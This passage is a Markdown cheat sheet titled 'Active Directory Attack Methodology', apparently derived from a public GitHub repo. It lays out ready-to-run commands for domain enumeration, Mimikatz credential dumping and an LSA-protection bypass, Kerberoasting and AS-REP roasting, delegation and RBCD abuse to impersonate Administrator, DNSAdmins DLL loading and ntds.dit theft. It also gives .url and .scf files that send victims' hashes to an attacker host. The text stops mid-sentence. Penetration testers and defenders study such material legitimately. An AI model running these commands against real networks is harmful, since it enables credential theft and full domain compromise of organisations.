active-directory-attacks.md (39122B)
1 --- 2 title: "Active Directory Attack Methodology" 3 description: "End-to-end AD exploitation: enum, roasting, delegation, lateral movement, DCSync, persistence." 4 category: active-directory 5 subcategory: "Tooling & Recon" 6 tags: [active-directory, methodology, kerberos, lateral-movement] 7 tools: [Impacket, Rubeus, Mimikatz, CrackMapExec] 8 difficulty: advanced 9 updated: "2026-08-09" 10 source: "vault:ActiveDirectory/Active-Directory_cheat_sheet.md" 11 upstreamName: "Active Directory Exploitation Cheat Sheet" 12 upstreamUrl: "https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet" 13 upstreamAuthor: "Nikos Katsiopis & Nikos Vourdas (S1ckB0y1337)" 14 upstreamLicense: "MIT" 15 upstreamRelation: "derived" 16 upstreamCopyright: "Copyright (c) 2020 Nikos Katsiopis" 17 --- 18 19 # Active Directory Attack Methodology 20 21 Common enumeration and attack methods for Windows Active Directory, from domain recon through domain and cross-forest persistence. Inspired by the PayloadsAllTheThings repo. 22 23 ## Tools 24 25 - Powersploit — https://github.com/PowerShellMafia/PowerSploit/tree/dev 26 - PowerUpSQL — https://github.com/NetSPI/PowerUpSQL 27 - Powermad — https://github.com/Kevin-Robertson/Powermad 28 - Impacket — https://github.com/fortra/impacket 29 - Mimikatz — https://github.com/gentilkiwi/mimikatz 30 - Rubeus — https://github.com/GhostPack/Rubeus (compiled: https://github.com/r3motecontrol/Ghostpack-CompiledBinaries) 31 - BloodHound — https://github.com/SpecterOps/BloodHound 32 - AD Module — https://github.com/samratashok/ADModule 33 - Adalanche — https://github.com/lkarlslund/adalanche 34 35 > **Note —** CrackMapExec is now deprecated in favour of NetExec (`nxc`, https://github.com/Pennyw0rth/NetExec). Where this sheet shows `crackmapexec`/`cme`, use `nxc` with the same syntax. 36 37 ## Domain Enumeration 38 39 ### Using PowerView 40 41 PowerView v3.0 — https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1 42 43 - **Get Current Domain:** `Get-Domain` 44 - **Enumerate Other Domains:** `Get-Domain -Domain <DomainName>` 45 - **Get Domain SID:** `Get-DomainSID` 46 - **Get Domain Policy:** 47 48 ```powershell 49 Get-DomainPolicy 50 51 # Show policy configurations of the domain (system access or kerberos) 52 Get-DomainPolicy | Select-Object -ExpandProperty SystemAccess 53 Get-DomainPolicy | Select-Object -ExpandProperty KerberosPolicy 54 ``` 55 56 - **Get Domain Controllers:** 57 58 ```powershell 59 Get-DomainController 60 Get-DomainController -Domain <DomainName> 61 ``` 62 63 - **Enumerate Domain Users:** 64 65 ```powershell 66 # Save all Domain Users to a file 67 Get-DomainUser | Out-File -FilePath .\DomainUsers.txt 68 69 # Return specific properties of a specific user 70 Get-DomainUser -Identity [username] -Properties DisplayName, MemberOf | Format-List 71 72 # Enumerate user logged on a machine 73 Get-NetLoggedon -ComputerName <ComputerName> 74 75 # Enumerate Session Information for a machine 76 Get-NetSession -ComputerName <ComputerName> 77 78 # Enumerate domain machines where specific users are logged in 79 Find-DomainUserLocation -Domain <DomainName> | Select-Object UserName, SessionFromName 80 ``` 81 82 - **Enum Domain Computers:** 83 84 ```powershell 85 Get-DomainComputer -Properties OperatingSystem, Name, DnsHostName | Sort-Object -Property DnsHostName 86 87 # Enumerate live machines 88 Get-DomainComputer -Ping -Properties OperatingSystem, Name, DnsHostName | Sort-Object -Property DnsHostName 89 ``` 90 91 - **Enum Groups and Group Members:** 92 93 ```powershell 94 # Save all Domain Groups to a file 95 Get-DomainGroup | Out-File -FilePath .\DomainGroup.txt 96 97 # Return members of a specific group (e.g. Domain Admins & Enterprise Admins) 98 Get-DomainGroup -Identity '<GroupName>' | Select-Object -ExpandProperty Member 99 Get-DomainGroupMember -Identity '<GroupName>' | Select-Object MemberDistinguishedName 100 101 # Enumerate local groups on the local (or remote) machine (needs local admin on remote) 102 Get-NetLocalGroup | Select-Object GroupName 103 104 # Enumerate members of a specific local group (needs local admin on remote) 105 Get-NetLocalGroupMember -GroupName Administrators | Select-Object MemberName, IsGroup, IsDomain 106 107 # GPOs that modify local group memberships via Restricted Groups or GPP 108 Get-DomainGPOLocalGroup | Select-Object GPODisplayName, GroupName 109 ``` 110 111 - **Enumerate Shares:** 112 113 ```powershell 114 # Enumerate Domain Shares 115 Find-DomainShare 116 117 # Enumerate Domain Shares the current user has access to 118 Find-DomainShare -CheckShareAccess 119 120 # Enumerate "interesting" files on accessible shares 121 Find-InterestingDomainShareFile -Include *passwords* 122 ``` 123 124 - **Enum Group Policies:** 125 126 ```powershell 127 Get-DomainGPO -Properties DisplayName | Sort-Object -Property DisplayName 128 129 # Enumerate all GPOs applied to a specific computer 130 Get-DomainGPO -ComputerIdentity <ComputerName> -Properties DisplayName | Sort-Object -Property DisplayName 131 132 # Get users that are part of a machine's local Admin group 133 Get-DomainGPOComputerLocalGroupMapping -ComputerName <ComputerName> 134 ``` 135 136 - **Enum OUs:** 137 138 ```powershell 139 Get-DomainOU -Properties Name | Sort-Object -Property Name 140 ``` 141 142 - **Enum ACLs:** 143 144 ```powershell 145 # Returns the ACLs associated with the specified account 146 Get-DomainObjectAcl -Identity <AccountName> -ResolveGUIDs 147 148 # Search for interesting ACEs 149 Find-InterestingDomainAcl -ResolveGUIDs 150 151 # Check the ACLs associated with a specified path (e.g. SMB share) 152 Get-PathAcl -Path "\\Path\Of\A\Share" 153 ``` 154 155 - **Enum Domain Trust:** 156 157 ```powershell 158 Get-DomainTrust 159 Get-DomainTrust -Domain <DomainName> 160 161 # Enumerate all trusts for the current domain and each domain it finds 162 Get-DomainTrustMapping 163 ``` 164 165 - **Enum Forest Trust:** 166 167 ```powershell 168 Get-ForestDomain 169 Get-ForestDomain -Forest <ForestName> 170 171 # Map the trust of the forest 172 Get-ForestTrust 173 Get-ForestTrust -Forest <ForestName> 174 ``` 175 176 - **User Hunting:** 177 178 ```powershell 179 # Find all machines on the current domain where the current user has local admin access 180 Find-LocalAdminAccess -Verbose 181 182 # Find local admins on all machines of the domain 183 Find-DomainLocalGroupMember -Verbose 184 185 # Find computers where a Domain Admin OR a specified user has a session 186 Find-DomainUserLocation | Select-Object UserName, SessionFromName 187 188 # Confirming admin access 189 Test-AdminAccess 190 ``` 191 192 > **Priv Esc to Domain Admin with User Hunting —** I have local admin access on a machine → a Domain Admin has a session on that machine → I steal his token and impersonate him → profit. 193 194 ### Using AD Module 195 196 - **Get Current Domain:** `Get-ADDomain` 197 - **Enum Other Domains:** `Get-ADDomain -Identity <Domain>` 198 - **Get Domain SID:** `Get-DomainSID` 199 - **Get Domain Controllers:** 200 201 ```powershell 202 Get-ADDomainController 203 Get-ADDomainController -Identity <DomainName> 204 ``` 205 206 - **Enumerate Domain Users:** 207 208 ```powershell 209 Get-ADUser -Filter * -Identity <user> -Properties * 210 211 # Get a specific "string" on a user's attribute 212 Get-ADUser -Filter 'Description -like "*wtver*"' -Properties Description | select Name, Description 213 ``` 214 215 - **Enum Domain Computers:** 216 217 ```powershell 218 Get-ADComputer -Filter * -Properties * 219 Get-ADGroup -Filter * 220 ``` 221 222 - **Enum Domain Trust:** 223 224 ```powershell 225 Get-ADTrust -Filter * 226 Get-ADTrust -Identity <DomainName> 227 ``` 228 229 - **Enum Forest Trust:** 230 231 ```powershell 232 Get-ADForest 233 Get-ADForest -Identity <ForestName> 234 235 # Domains of forest enumeration 236 (Get-ADForest).Domains 237 ``` 238 239 - **Enum Local AppLocker Effective Policy:** 240 241 ```powershell 242 Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections 243 ``` 244 245 ### Using BloodHound 246 247 #### Remote BloodHound 248 249 Python BloodHound — https://github.com/dirkjanm/BloodHound.py or `pip3 install bloodhound` 250 251 ```bash 252 bloodhound-python -u <UserName> -p <Password> -ns <DC IP> -d <Domain> -c All 253 ``` 254 255 #### On-Site BloodHound 256 257 ```powershell 258 # Using exe ingestor 259 .\SharpHound.exe --CollectionMethod All --LdapUsername <UserName> --LdapPassword <Password> --domain <Domain> --domaincontroller <DC IP> --OutputDirectory <PathToFile> 260 261 # Using PowerShell module ingestor 262 . .\SharpHound.ps1 263 Invoke-BloodHound -CollectionMethod All -LdapUsername <UserName> -LdapPassword <Password> -OutputDirectory <PathToFile> 264 ``` 265 266 ### Using Adalanche 267 268 ```bash 269 # Kali Linux 270 ./adalanche collect activedirectory --domain <Domain> \ 271 --username <Username@Domain> --password <Password> \ 272 --server <DC> 273 274 # Example 275 ./adalanche collect activedirectory --domain windcorp.local \ 276 --username spoNge369@windcorp.local --password 'password123!' \ 277 --server dc.windcorp.htb 278 279 # LDAP Result Code 200 "Network Error": x509 certificate signed by unknown authority? 280 ./adalanche collect activedirectory --domain windcorp.local \ 281 --username spoNge369@windcorp.local --password 'password123!' \ 282 --server dc.windcorp.htb --tlsmode NoTLS --port 389 283 284 # Invalid Credentials? 285 ./adalanche collect activedirectory --domain windcorp.local \ 286 --username spoNge369@windcorp.local --password 'password123!' \ 287 --server dc.windcorp.htb --tlsmode NoTLS --port 389 \ 288 --authmode basic 289 290 # Analyze data — browse to http://127.0.0.1:8080 291 ./adalanche analyze 292 ``` 293 294 #### Export Enumerated Objects 295 296 Export objects from any cmdlet into XML for later analysis. `Export-Clixml` serialises objects to a CLI XML file; `Import-Clixml` recreates them. 297 298 ```powershell 299 # Export Domain users to xml file 300 Get-DomainUser | Export-CliXml .\DomainUsers.xml 301 302 # Later, re-import for analysis on any machine 303 $DomainUsers = Import-CliXml .\DomainUsers.xml 304 305 # Apply any condition, filters, etc. 306 $DomainUsers | select name 307 $DomainUsers | ? {$_.name -match "User's Name"} 308 ``` 309 310 ### Useful Enumeration Tools 311 312 - ldapdomaindump — LDAP information dumper 313 - adidnsdump — integrated DNS dumping by any authenticated user 314 - ACLight — advanced discovery of privileged accounts 315 - ADRecon — detailed Active Directory recon tool 316 317 ## Local Privilege Escalation 318 319 - Windows Local Privilege Escalation Cookbook — https://github.com/nickvourd/Windows-Local-Privilege-Escalation-Cookbook 320 - Juicy Potato — abuse SeImpersonate/SeAssignPrimaryToken for SYSTEM impersonation (works only up to Windows Server 2016 and Windows 10 patch 1803) 321 - Lovely Potato — automated Juicy Potato (same version limits) 322 - PrintSpoofer — exploit the PrinterBug for SYSTEM impersonation (works on Windows Server 2019 and Windows 10) 323 - RoguePotato — upgraded Juicy Potato (works on Windows Server 2019 and Windows 10) 324 - Abusing Token Privileges — foxglovesecurity writeup 325 - SMBGhost CVE-2020-0796 — PoC: https://github.com/danigargu/CVE-2020-0796 326 - CVE-2021-36934 (HiveNightmare/SeriousSAM) — https://github.com/cube0x0/CVE-2021-36934 327 328 ### Useful Local Priv Esc Tools 329 330 - PowerUp — misconfiguration abuse 331 - BeRoot — general priv esc enumeration 332 - Privesc — general priv esc enumeration 333 - FullPowers — restore a service account's privileges 334 335 ## Lateral Movement 336 337 ### PowerShell Remoting 338 339 ```powershell 340 # Enable PowerShell Remoting on current machine (needs admin) 341 Enable-PSRemoting 342 343 # Enter or start a new PSSession (needs admin) 344 $sess = New-PSSession -ComputerName <Name> 345 Enter-PSSession -ComputerName <Name> # OR -Session <SessionName> 346 ``` 347 348 ### Remote Code Execution with PS Credentials 349 350 ```powershell 351 $SecPassword = ConvertTo-SecureString '<Wtver>' -AsPlainText -Force 352 $Cred = New-Object System.Management.Automation.PSCredential('htb.local\<WtverUser>', $SecPassword) 353 Invoke-Command -ComputerName <WtverMachine> -Credential $Cred -ScriptBlock {whoami} 354 ``` 355 356 ### Import a PowerShell Module and Execute its Functions Remotely 357 358 ```powershell 359 # Execute the command and start a session 360 Invoke-Command -Credential $cred -ComputerName <NameOfComputer> -FilePath c:\FilePath\file.ps1 -Session $sess 361 362 # Interact with the session 363 Enter-PSSession -Session $sess 364 ``` 365 366 ### Executing Remote Stateful Commands 367 368 ```powershell 369 # Create a new session 370 $sess = New-PSSession -ComputerName <NameOfComputer> 371 372 # Execute command on the session 373 Invoke-Command -Session $sess -ScriptBlock {$ps = Get-Process} 374 375 # Check the result to confirm an interactive session 376 Invoke-Command -Session $sess -ScriptBlock {$ps} 377 ``` 378 379 ### Mimikatz 380 381 ```powershell 382 # Commands are in Cobalt Strike format 383 384 # Dump LSASS 385 mimikatz privilege::debug 386 mimikatz token::elevate 387 mimikatz sekurlsa::logonpasswords 388 389 # (Over) Pass The Hash 390 mimikatz privilege::debug 391 mimikatz sekurlsa::pth /user:<UserName> /ntlm:<> /domain:<DomainFQDN> 392 393 # List all available kerberos tickets in memory 394 mimikatz sekurlsa::tickets 395 396 # Dump local Terminal Services credentials 397 mimikatz sekurlsa::tspkg 398 399 # Dump and save LSASS to a file 400 mimikatz sekurlsa::minidump c:\temp\lsass.dmp 401 402 # List cached MasterKeys 403 mimikatz sekurlsa::dpapi 404 405 # List local Kerberos AES keys 406 mimikatz sekurlsa::ekeys 407 408 # Dump SAM database 409 mimikatz lsadump::sam 410 411 # Dump SECRETS database 412 mimikatz lsadump::secrets 413 414 # Inject and dump the DC's credentials 415 mimikatz privilege::debug 416 mimikatz token::elevate 417 mimikatz lsadump::lsa /inject 418 419 # Dump the domain's credentials without touching DC's LSASS, remotely 420 mimikatz lsadump::dcsync /domain:<DomainFQDN> /all 421 422 # Dump old passwords and NTLM hashes of a user 423 mimikatz lsadump::dcsync /user:<DomainFQDN>\<user> /history 424 425 # List and dump local kerberos credentials 426 mimikatz kerberos::list /dump 427 428 # Pass The Ticket 429 mimikatz kerberos::ptt <PathToKirbiFile> 430 431 # List TS/RDP sessions 432 mimikatz ts::sessions 433 434 # List Vault credentials 435 mimikatz vault::list 436 ``` 437 438 **What if Mimikatz fails to dump credentials because of LSA Protection?** 439 440 - LSA as a Protected Process (kernel-land bypass): 441 442 ```powershell 443 # Check if LSA runs as a protected process (RunAsPPL == 0x1) 444 reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa 445 446 # Upload mimidriver.sys from the mimikatz repo to the same folder as mimikatz.exe 447 # Import the driver 448 mimikatz # !+ 449 450 # Remove the protection flags from lsass.exe 451 mimikatz # !processprotect /process:lsass.exe /remove 452 453 # Run logonpasswords to dump lsass 454 mimikatz # sekurlsa::logonpasswords 455 ``` 456 457 - LSA as a Protected Process (userland "fileless" bypass): PPLdump, "Bypassing LSA Protection in Userland" (scrt.ch). 458 - LSA running as a virtualised process (LSAISO) via Credential Guard: 459 460 ```powershell 461 # Check for lsaiso.exe in running processes 462 tasklist | findstr lsaiso 463 464 # If present, LSASS dumps only yield encrypted data. Inject a malicious SSP into memory 465 mimikatz # misc::memssp 466 467 # Every session/auth now logs plaintext creds to c:\windows\system32\mimilsa.log 468 ``` 469 470 ### Remote Desktop Protocol 471 472 If the target host has "RestrictedAdmin" enabled, pass the hash over RDP for an interactive session without the plaintext password. 473 474 - Mimikatz: 475 476 ```powershell 477 # Pass-the-hash and spawn mstsc.exe with /restrictedadmin 478 privilege::debug 479 sekurlsa::pth /user:<Username> /domain:<DomainName> /ntlm:<NTLMHash> /run:"mstsc.exe /restrictedadmin" 480 # Then click OK on the RDP dialogue for an interactive session as the impersonated user 481 ``` 482 483 - xFreeRDP: 484 485 ```bash 486 xfreerdp +compression +clipboard /dynamic-resolution +toggle-fullscreen /cert-ignore /bpp:8 /u:<Username> /pth:<NTLMHash> /v:<Hostname|IPAddress> 487 ``` 488 489 If Restricted Admin mode is disabled on the remote machine, connect via psexec/winrm and enable it by setting `HKLM:\System\CurrentControlSet\Control\Lsa\DisableRestrictedAdmin` to zero. 490 491 - Bypass "Single Session per User" restriction — with SYSTEM/local admin, hijack an in-use RDP session by adding this registry key: 492 493 ```powershell 494 REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fSingleSessionPerUser /t REG_DWORD /d 0 495 ``` 496 497 Delete it afterwards to restore the restriction: 498 499 ```powershell 500 REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fSingleSessionPerUser 501 ``` 502 503 ### URL File Attacks 504 505 - `.url` file: 506 507 ```ini 508 [InternetShortcut] 509 URL=whatever 510 WorkingDirectory=whatever 511 IconFile=\\<AttackersIp>\%USERNAME%.icon 512 IconIndex=1 513 ``` 514 515 ```ini 516 [InternetShortcut] 517 URL=file://<AttackersIp>/leak/leak.html 518 ``` 519 520 - `.scf` file: 521 522 ```ini 523 [Shell] 524 Command=2 525 IconFile=\\<AttackersIp>\Share\test.ico 526 [Taskbar] 527 Command=ToggleDesktop 528 ``` 529 530 Drop these in a writeable share; the victim only has to browse to it in Explorer (no interaction/open needed, but the file must be visible/top of the listing to render). Use Responder to capture the hashes. 531 532 > **Note —** `.scf` file attacks won't work on the latest versions of Windows. 533 534 ### Useful Tools 535 536 - Powercat — netcat in PowerShell (tunneling, relay, port-forward) 537 - SCShell — fileless lateral movement via ChangeServiceConfigA 538 - Evil-WinRM — WinRM shell for hacking/pentesting 539 - RunasCs — open C# version of Windows `runas.exe` 540 - ntlm_theft — creates all file formats for URL-file attacks 541 542 ## Domain Privilege Escalation 543 544 ### Kerberoast 545 546 Any standard domain user can request a TGS for any SPN bound to a user account, extract the encrypted blob (encrypted with the account's password), and brute-force it offline. 547 548 - PowerView: 549 550 ```powershell 551 # Get user accounts used as service accounts 552 Get-NetUser -SPN 553 554 # Get every SPN account, request a TGS and dump its hash 555 Invoke-Kerberoast 556 557 # Request the TGS for a single account 558 Request-SPNTicket 559 560 # Export all tickets using Mimikatz 561 Invoke-Mimikatz -Command '"kerberos::list /export"' 562 ``` 563 564 - AD Module: 565 566 ```powershell 567 Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName 568 ``` 569 570 - Impacket: 571 572 ```bash 573 impacket-GetUserSPNs <DomainName>/<DomainUser>:<Password> -request -outputfile <FileName> 574 ``` 575 576 - Rubeus: 577 578 ```powershell 579 # Kerberoast and output to a file in a specific format 580 Rubeus.exe kerberoast /outfile:<fileName> /domain:<DomainName> 581 582 # OPSEC-safe: don't roast AES-enabled accounts 583 Rubeus.exe kerberoast /outfile:<fileName> /domain:<DomainName> /rc4opsec 584 585 # Roast AES-enabled accounts 586 Rubeus.exe kerberoast /outfile:<fileName> /domain:<DomainName> /aes 587 588 # Roast a specific user 589 Rubeus.exe kerberoast /outfile:<fileName> /domain:<DomainName> /user:<username> /simple 590 591 # Roast by specifying authentication credentials 592 Rubeus.exe kerberoast /outfile:<fileName> /domain:<DomainName> /creduser:<username> /credpassword:<password> 593 ``` 594 595 Crack with hashcat mode 13100 (RC4 TGS), or 19600/19700 for AES-128/AES-256 tickets. 596 597 ### ASREPRoast 598 599 If a domain user account does not require Kerberos pre-authentication, you can request a valid AS-REP without domain credentials, extract the encrypted blob, and brute-force it offline. 600 601 - PowerView: `Get-DomainUser -PreauthNotRequired -Verbose` 602 - AD Module: `Get-ADUser -Filter {DoesNotRequirePreAuth -eq $True} -Properties DoesNotRequirePreAuth` 603 604 Forcefully disable Kerberos pre-auth on an account you have write permissions over. Add a filter (e.g. RDPUsers) to target user accounts, not machine accounts — machine account hashes are not crackable. 605 606 PowerView: 607 608 ```powershell 609 Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReferenceName -match "RDPUsers"} 610 611 # Disable Kerberos Preauth 612 Set-DomainObject -Identity <UserAccount> -XOR @{useraccountcontrol=4194304} -Verbose 613 614 # Check if the value changed 615 Get-DomainUser -PreauthNotRequired -Verbose 616 ``` 617 618 - Using the ASREPRoast tool: 619 620 ```powershell 621 # Get a specific account's hash 622 Get-ASREPHash -UserName <UserName> -Verbose 623 624 # Get any ASREPRoastable users' hashes 625 Invoke-ASREPRoast -Verbose 626 ``` 627 628 - Using Rubeus: 629 630 ```powershell 631 # All domain users 632 Rubeus.exe asreproast /format:<hashcat|john> /domain:<DomainName> /outfile:<filename> 633 634 # Specific user 635 Rubeus.exe asreproast /user:<username> /format:<hashcat|john> /domain:<DomainName> /outfile:<filename> 636 637 # Users of a specific OU 638 Rubeus.exe asreproast /ou:<OUName> /format:<hashcat|john> /domain:<DomainName> /outfile:<filename> 639 ``` 640 641 - Using Impacket: 642 643 ```bash 644 impacket-GetNPUsers <domain_name>/ -usersfile <users_file> -outputfile <FileName> 645 ``` 646 647 Crack AS-REP hashes with hashcat mode 18200. 648 649 ### Password Spray Attack 650 651 If you harvest passwords by compromising an account, exploit password reuse across other domain accounts. 652 653 **Tools:** 654 655 - DomainPasswordSpray 656 - NetExec (`nxc smb <target> -u users.txt -p 'Password!' --continue-on-success`) — successor to CrackMapExec 657 - Invoke-CleverSpray 658 - Spray 659 660 ### Force Set SPN 661 662 With GenericAll/GenericWrite over a target account, set an SPN on it, request a TGS, grab the blob, and brute-force it. 663 664 - PowerView: 665 666 ```powershell 667 # Check for interesting permissions on accounts 668 Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReferenceName -match "RDPUsers"} 669 670 # Check if the target already has an SPN set 671 Get-DomainUser -Identity <UserName> | select serviceprincipalname 672 673 # Force set the SPN on the account 674 Set-DomainObject <UserName> -Set @{serviceprincipalname='ops/whatever1'} 675 ``` 676 677 - AD Module: 678 679 ```powershell 680 # Check if the target already has an SPN set 681 Get-ADUser -Identity <UserName> -Properties ServicePrincipalName | select ServicePrincipalName 682 683 # Force set the SPN on the account 684 Set-ADUser -Identity <UserName> -ServicePrincipalNames @{Add='ops/whatever1'} 685 ``` 686 687 Then use any tool above to grab and kerberoast the hash. 688 689 ### Abusing Shadow Copies 690 691 With local administrator access, list shadow copies — an easy route to domain escalation. 692 693 ```powershell 694 # List shadow copies using vssadmin (needs admin) 695 vssadmin list shadows 696 697 # List shadow copies using diskshadow 698 diskshadow list shadows all 699 700 # Symlink to the shadow copy and access it 701 mklink /d c:\shadowcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\ 702 ``` 703 704 1. Dump the backed-up SAM database and harvest credentials. 705 2. Look for DPAPI-stored creds and decrypt them. 706 3. Access backed-up sensitive files. 707 708 ### List and Decrypt Stored Credentials using Mimikatz 709 710 Encrypted credentials are usually stored in `%appdata%\Microsoft\Credentials` and `%localappdata%\Microsoft\Credentials`. 711 712 ```powershell 713 # Enumerate the cred object and get information about it 714 dpapi::cred /in:"%appdata%\Microsoft\Credentials\<CredHash>" 715 716 # Note the guidMasterKey parameter (which masterkey encrypted the credential), then enumerate it 717 dpapi::masterkey /in:"%appdata%\Microsoft\Protect\<usersid>\<MasterKeyGUID>" 718 719 # In the context of the owning user (or system), use /rpc to offload masterkey decryption to the DC 720 dpapi::masterkey /in:"%appdata%\Microsoft\Protect\<usersid>\<MasterKeyGUID>" /rpc 721 722 # The masterkey is now in local cache 723 dpapi::cache 724 725 # Decrypt the credential using the cached masterkey 726 dpapi::cred /in:"%appdata%\Microsoft\Credentials\<CredHash>" 727 ``` 728 729 ### Unconstrained Delegation 730 731 With administrative access to a machine that has Unconstrained Delegation enabled, wait for a high-value target/DA to connect, steal their TGT, then PTT and impersonate them. 732 733 Using PowerView: 734 735 ```powershell 736 # Discover domain-joined computers with Unconstrained Delegation 737 Get-NetComputer -UnConstrained 738 739 # List tickets; check if a DA/high-value target stored its TGT 740 Invoke-Mimikatz -Command '"sekurlsa::tickets"' 741 742 # Monitor incoming sessions on our compromised server 743 Invoke-UserHunter -ComputerName <NameOfTheComputer> -Poll <TimeInSeconds> -UserName <UserToMonitorFor> -Delay <WaitInterval> -Verbose 744 745 # Dump the tickets to disk 746 Invoke-Mimikatz -Command '"sekurlsa::tickets /export"' 747 748 # Impersonate via PTT 749 Invoke-Mimikatz -Command '"kerberos::ptt <PathToTicket>"' 750 ``` 751 752 Rubeus works here too (see the printer-bug / SpoolSample technique below). 753 754 ### Constrained Delegation 755 756 Using PowerView and Kekeo: 757 758 ```powershell 759 # Enumerate users and computers with constrained delegation 760 Get-DomainUser -TrustedToAuth 761 Get-DomainComputer -TrustedToAuth 762 763 # Ask for a valid TGT of a constrained-delegation user (kekeo) 764 tgt::ask /user:<UserName> /domain:<Domain FQDN> /rc4:<hashedPasswordOfTheUser> 765 766 # Ask for a TGS to a service the user can access via constrained delegation 767 tgs::s4u /tgt:<PathToTGT> /user:<UserToImpersonate>@<Domain FQDN> /service:<Service SPN> 768 769 # PTT the TGS 770 Invoke-Mimikatz -Command '"kerberos::ptt <PathToTGS>"' 771 ``` 772 773 Alternative — Rubeus: 774 775 ```powershell 776 Rubeus.exe s4u /user:<UserName> /rc4:<NTLMhashedPasswordOfTheUser> /impersonateuser:<UserToImpersonate> /msdsspn:"<Service SPN>" /altservice:<Optional> /ptt 777 ``` 778 779 > **Delegation rights for only a specific SPN (e.g. TIME)?** Abuse Kerberos "alternative service": request TGS for other services the host supports, giving full access to the target machine. 780 781 ### Resource-Based Constrained Delegation 782 783 With GenericAll/GenericWrite on a machine account object, impersonate any domain user (e.g. Domain Administrator) to that machine. 784 785 First enter the security context of the user/machine account with the privileges (PTH, RDP, PSCredentials, etc.). 786 787 ```powershell 788 # Import Powermad and create a new MACHINE ACCOUNT 789 . .\Powermad.ps1 790 New-MachineAccount -MachineAccount <MachineAccountName> -Password $(ConvertTo-SecureString 'p@ssword!' -AsPlainText -Force) -Verbose 791 792 # Import PowerView and get the SID of the new machine account 793 . .\PowerView.ps1 794 $ComputerSid = Get-DomainComputer <MachineAccountName> -Properties objectsid | Select -Expand objectsid 795 796 # Build an ACE for the new machine account using a raw security descriptor 797 $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))" 798 $SDBytes = New-Object byte[] ($SD.BinaryLength) 799 $SD.GetBinaryForm($SDBytes, 0) 800 801 # Set the security descriptor in msDS-AllowedToActOnBehalfOfOtherIdentity on the target computer 802 Get-DomainComputer TargetMachine | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose 803 804 # Get the RC4 hash of the new machine account's password 805 Rubeus.exe hash /password:'p@ssword!' 806 807 # Impersonate Domain Administrator for CIFS on the target 808 Rubeus.exe s4u /user:<MachineAccountName> /rc4:<RC4HashOfMachineAccountPassword> /impersonateuser:Administrator /msdsspn:cifs/TargetMachine.wtver.domain /domain:wtver.domain /ptt 809 810 # Access the C$ drive of the target machine 811 dir \\TargetMachine.wtver.domain\C$ 812 ``` 813 814 > **Note —** In constrained / RBCD scenarios, if you lack the password/hash of the account with `TRUSTED_TO_AUTH_FOR_DELEGATION`, use `tgt::deleg` (kekeo) or `tgtdeleg` (Rubeus) to trick Kerberos into a valid TGT for that account, then use the ticket instead of the hash. 815 816 ```powershell 817 Rubeus.exe tgtdeleg /nowrap 818 ``` 819 820 ### DNSAdmins Abuse 821 822 A member of the DNSAdmins group can load an arbitrary DLL with the privileges of dns.exe (running as SYSTEM). If the DC serves DNS, this escalates to DA. Requires privileges to restart the DNS service. 823 824 1. Enumerate DNSAdmins members: 825 - PowerView: `Get-NetGroupMember -GroupName "DNSAdmins"` 826 - AD Module: `Get-ADGroupMember -Identity DNSAdmins` 827 2. Compromise a member. 828 3. Serve a malicious DLL and configure its usage: 829 830 ```powershell 831 # Using dnscmd 832 dnscmd <NameOfDNSMachine> /config /serverlevelplugindll \\Path\To\Our\Dll\malicious.dll 833 834 # Restart the DNS service 835 sc \\DNSServer stop dns 836 sc \\DNSServer start dns 837 ``` 838 839 ### Abusing Active Directory-Integrated DNS 840 841 - "Exploiting Active Directory-Integrated DNS" (NetSPI) 842 - "ADIDNS Revisited" (NetSPI) 843 - Inveigh — https://github.com/Kevin-Robertson/Inveigh 844 845 ### Abusing Backup Operators Group 846 847 Compromising a Backup Operators member lets you abuse SeBackupPrivilege to shadow-copy the DC, extract `ntds.dit`, dump hashes, and escalate to DA. 848 849 1. Create a shadow copy using the signed `diskshadow` binary: 850 851 ```text 852 # script.txt 853 set context persistent nowriters 854 set metadata c:\windows\system32\spool\drivers\color\example.cab 855 set verbose on 856 begin backup 857 add volume c: alias mydrive 858 create 859 expose %mydrive% w: 860 end backup 861 ``` 862 863 ```powershell 864 # Execute diskshadow with the script 865 diskshadow /s script.txt 866 ``` 867 868 2. Copy `ntds.dit` using Win32 backup API calls (SeBackupPrivilege repo by giuliano108): 869 870 ```powershell 871 # Import both DLLs from the repo 872 Import-Module .\SeBackupPrivilegeCmdLets.dll 873 Import-Module .\SeBackupPrivilegeUtils.dll 874 875 # Check / enable SeBackupPrivilege 876 Get-SeBackupPrivilege 877 Set-SeBackupPrivilege 878 879 # Copy ntds.dit from the shadow copy 880 Copy-FileSeBackupPrivilege w:\windows\NTDS\ntds.dit c:\<PathToSave>\ntds.dit -Overwrite 881 882 # Dump the SYSTEM hive 883 reg save HKLM\SYSTEM c:\temp\system.hive 884 ``` 885 886 3. Copy `ntds.dit` and the SYSTEM hive to your machine (`impacket-smbclient` or similar). 887 4. Dump hashes with `impacket-secretsdump`. 888 5. PTH with psexec (or similar) for Domain Admin access. 889 890 ### Abusing Exchange 891 892 - "Abusing Exchange: One API Call Away From Domain Admin" (dirkjanm) 893 - CVE-2020-0688 894 - PrivExchange — https://github.com/dirkjanm/PrivExchange 895 896 ### Weaponizing Printer Bug 897 898 - "Printer Server Bug to Domain Administrator" (Dionach) 899 - NetNTLMtoSilverTicket — https://github.com/NotMedic/NetNTLMtoSilverTicket 900 901 ### Abusing ACLs 902 903 - "Escalating privileges with ACLs in Active Directory" (fox-it) 904 - aclpwn.py — https://github.com/fox-it/aclpwn.py 905 - Invoke-ACLPwn — https://github.com/fox-it/Invoke-ACLPwn 906 907 ### Abusing IPv6 with mitm6 908 909 - "mitm6 — Compromising IPv4 networks via IPv6" (fox-it) 910 - mitm6 — https://github.com/dirkjanm/mitm6 911 912 ### SID History Abuse 913 914 If you compromise a child domain of a 